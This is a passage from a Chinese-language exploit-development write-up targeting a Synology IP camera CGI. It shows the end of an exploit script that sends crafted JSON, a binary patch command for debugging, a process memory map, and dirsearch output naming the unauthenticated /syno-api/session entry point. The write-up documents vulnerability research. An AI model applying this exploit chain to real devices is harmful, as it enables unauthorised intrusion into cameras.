                      "SERVER_NAME": "IPCam",
                      "HTTP_CONTENT_LENGTH": str(content_length)
                  }
                  )
      p.send(json_data)
      p.shutdown('send')
      p.interactive()
    • 方法2:使用 qemu-system 的 -s 参数进行调试,在已知 CGI 地址空间时可以直接给漏洞点下断,等待触发断点,好处是和真实利用时的情况接近,缺点是操作比较麻烦,有时候会出现地址冲突问题。
  3. 如何获取 CGI 地址空间?

    • 为了下断点和知道地址劫持的目标,获取 CGI 运行时地址空间很重要,但是 CGI 只在每次请求时单独被调用,每次运行地址都在变。所以首先得关闭设备 ASLR,然后通过 patch CGI 入口使其进入循环,这时候就可以通过 proc 文件系统读出地址空间如下。

      • patch 方式:printf "\xFE\xFF\xFF\xEA" | dd of=synocam_param.cgi bs=1 seek=$((0x7BF1C)) count=4 conv=notrunc
      • 地址空间:

        00400000-004a7000 r-xp 00000000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
        004b7000-004b8000 r--p 000a7000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
        004b8000-004b9000 rw-p 000a8000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
        004b9000-004da000 rw-p 00000000 00:00 0          [heap]
        76824000-76865000 rw-p 00000000 00:00 0 
        76865000-76991000 r-xp 00000000 00:02 1669       /lib/libc-2.30.so
        76991000-769a1000 ---p 0012c000 00:02 1669       /lib/libc-2.30.so
        769a1000-769a3000 r--p 0012c000 00:02 1669       /lib/libc-2.30.so
        769a3000-769a4000 rw-p 0012e000 00:02 1669       /lib/libc-2.30.so
        769a4000-769a7000 rw-p 00000000 00:00 0 
        769a7000-769c5000 r-xp 00000000 00:02 1607       /lib/libgcc_s.so.1
        769c5000-769d4000 ---p 0001e000 00:02 1607       /lib/libgcc_s.so.1
        769d4000-769d5000 r--p 0001d000 00:02 1607       /lib/libgcc_s.so.1
        769d5000-769d6000 rw-p 0001e000 00:02 1607       /lib/libgcc_s.so.1
        769d6000-76a32000 r-xp 00000000 00:02 1728       /lib/libm-2.30.so
        76a32000-76a41000 ---p 0005c000 00:02 1728       /lib/libm-2.30.so
        76a41000-76a42000 r--p 0005b000 00:02 1728       /lib/libm-2.30.so
        76a42000-76a43000 rw-p 0005c000 00:02 1728       /lib/libm-2.30.so
        76a43000-76b39000 r-xp 00000000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b39000-76b48000 ---p 000f6000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b48000-76b4d000 r--p 000f5000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b4d000-76b50000 rw-p 000fa000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b50000-76b51000 rw-p 00000000 00:00 0 
        76b51000-76b53000 r-xp 00000000 00:02 1621       /lib/libdl-2.30.so
        76b53000-76b62000 ---p 00002000 00:02 1621       /lib/libdl-2.30.so
        76b62000-76b63000 r--p 00001000 00:02 1621       /lib/libdl-2.30.so
        76b63000-76b64000 rw-p 00002000 00:02 1621       /lib/libdl-2.30.so
        76b64000-76b84000 r-xp 00000000 00:02 1351       /lib/libz.so.1.2.13
        76b84000-76b93000 ---p 00020000 00:02 1351       /lib/libz.so.1.2.13
        76b93000-76b94000 r--p 0001f000 00:02 1351       /lib/libz.so.1.2.13
        76b94000-76b95000 rw-p 00020000 00:02 1351       /lib/libz.so.1.2.13
        76b95000-76c10000 r-xp 00000000 00:02 1725       /lib/libssl.so.1.1
        76c10000-76c1f000 ---p 0007b000 00:02 1725       /lib/libssl.so.1.1
        76c1f000-76c24000 r--p 0007a000 00:02 1725       /lib/libssl.so.1.1
        76c24000-76c28000 rw-p 0007f000 00:02 1725       /lib/libssl.so.1.1
        76c28000-76e6f000 r-xp 00000000 00:02 1753       /lib/libcrypto.so.1.1
        76e6f000-76e7f000 ---p 00247000 00:02 1753       /lib/libcrypto.so.1.1
        76e7f000-76e95000 r--p 00247000 00:02 1753       /lib/libcrypto.so.1.1
        76e95000-76e97000 rw-p 0025d000 00:02 1753       /lib/libcrypto.so.1.1
        76e97000-76e9a000 rw-p 00000000 00:00 0 
        76e9a000-76f1a000 r-xp 00000000 00:02 1608       /lib/libcurl.so.4.8.0
        76f1a000-76f2a000 ---p 00080000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2a000-76f2b000 r--p 00080000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2b000-76f2d000 rw-p 00081000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2d000-76f2e000 rw-p 00000000 00:00 0 
        76f2e000-76f45000 r-xp 00000000 00:02 1751       /lib/libpthread-2.30.so
        76f45000-76f54000 ---p 00017000 00:02 1751       /lib/libpthread-2.30.so
        76f54000-76f55000 r--p 00016000 00:02 1751       /lib/libpthread-2.30.so
        76f55000-76f56000 rw-p 00017000 00:02 1751       /lib/libpthread-2.30.so
        76f56000-76f58000 rw-p 00000000 00:00 0 
        76f58000-76f9c000 r-xp 00000000 00:02 1595       /lib/libutil.so
        76f9c000-76fab000 ---p 00044000 00:02 1595       /lib/libutil.so
        76fab000-76fac000 r--p 00043000 00:02 1595       /lib/libutil.so
        76fac000-76fad000 rw-p 00044000 00:02 1595       /lib/libutil.so
        76fad000-76fae000 rw-p 00000000 00:00 0 
        76fae000-76fbd000 r-xp 00000000 00:02 1358       /lib/libjansson.so.4.7.0
        76fbd000-76fcc000 ---p 0000f000 00:02 1358       /lib/libjansson.so.4.7.0
        76fcc000-76fcd000 r--p 0000e000 00:02 1358       /lib/libjansson.so.4.7.0
        76fcd000-76fce000 rw-p 0000f000 00:02 1358       /lib/libjansson.so.4.7.0
        76fce000-76fee000 r-xp 00000000 00:02 1612       /lib/ld-2.30.so
        76ff5000-76ffb000 rw-p 00000000 00:00 0 
        76ffb000-76ffc000 r-xp 00000000 00:00 0          [sigpage]
        76ffc000-76ffd000 r--p 00000000 00:00 0          [vvar]
        76ffd000-76ffe000 r-xp 00000000 00:00 0          [vdso]
        76ffe000-76fff000 r--p 00020000 00:02 1612       /lib/ld-2.30.so
        76fff000-77000000 rw-p 00021000 00:02 1612       /lib/ld-2.30.so
        7efdf000-7f000000 rw-p 00000000 00:00 0          [stack]
        ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]
  4. 如何获取 CGI 环境变量?

    • webd 调用 CGI 时只看文件名,所以可以将原来的 CGI 可执行文件替换成一个 shell 脚本打印出 webd 传递的环境变量。
  5. 如何确定未授权入口?

    • 提取两类地址—— web 根目录下所有的文件相对路径、前端 JS 中的 API 路径,使用 dirsearch 扫描排除 401 响应的接口(注意需要换不同的请求方法进行尝试)。提取未授权入口是因为漏洞位于 json 解析的库中,而不是 webd 中,需要能够找到能够解析 json 的接口来完成整个攻击链。

      • 提取的 URL 如下,其中 /syno-api/session 就是本次攻击的入口:

        [20:50:34] 200 -   29KB - /uistrings/ptb/strings
        [20:50:34] 200 -   28KB - /uistrings/nor/strings
        [20:50:34] 200 -   48KB - /uistrings/rus/strings
        [20:50:35] 200 -   29KB - /uistrings/sve/strings
        [20:50:35] 200 -   30KB - /uistrings/nld/strings
        [20:50:35] 200 -   30KB - /uistrings/krn/strings
        [20:50:35] 200 -   29KB - /uistrings/ita/strings
        [20:50:35] 200 -   30KB - /uistrings/spn/strings
        [20:50:35] 200 -   34KB - /uistrings/jpn/strings
        [20:50:35] 200 -   30KB - /uistrings/ptg/strings
        [20:50:35] 200 -   32KB - /uistrings/hun/strings
        [20:50:35] 200 -   27KB - /uistrings/enu/strings
        [20:50:35] 200 -   24KB - /uistrings/chs/strings
        [20:50:35] 200 -   28KB - /uistrings/dan/strings
        [20:50:35] 200 -   24KB - /uistrings/cht/strings
        [20:50:35] 200 -   31KB - /uistrings/ger/strings
        [20:50:35] 200 -   32KB - /uistrings/fre/strings
        [20:50:35] 200 -   30KB - /uistrings/trk/strings
        [20:50:35] 200 -   29KB - /uistrings/csy/strings
        [20:50:36] 200 -   31KB - /uistrings/plk/strings
        [20:50:36] 200 -   61KB - /uistrings/tha/strings
        [20:50:36] 200 -   32KB - /uistrings/uistrings.cgi
        [22:39:23] 200 -   15B  - /syno-api/session
        [22:39:25] 200 -    7B  - /syno-api/security/info/language
        [22:39:25] 200 -   21B  - /syno-api/security/info/mac
        [22:39:25] 200 -    4B  - /syno-api/security/info/serial_number
        [22:39:25] 200 -  105B  - /syno-api/security/info
        [22:39:25] 200 -    6B  - /syno-api/activate
        [22:39:25] 200 -    9B  - /syno-api/security/info/name
        [22:39:25] 200 -   14B  - /syno-api/maintenance/firmware/version
        [22:39:25] 200 -    6B  - /syno-api/security/network/dhcp
        [22:39:25] 200 -    9B  - /syno-api/security/info/model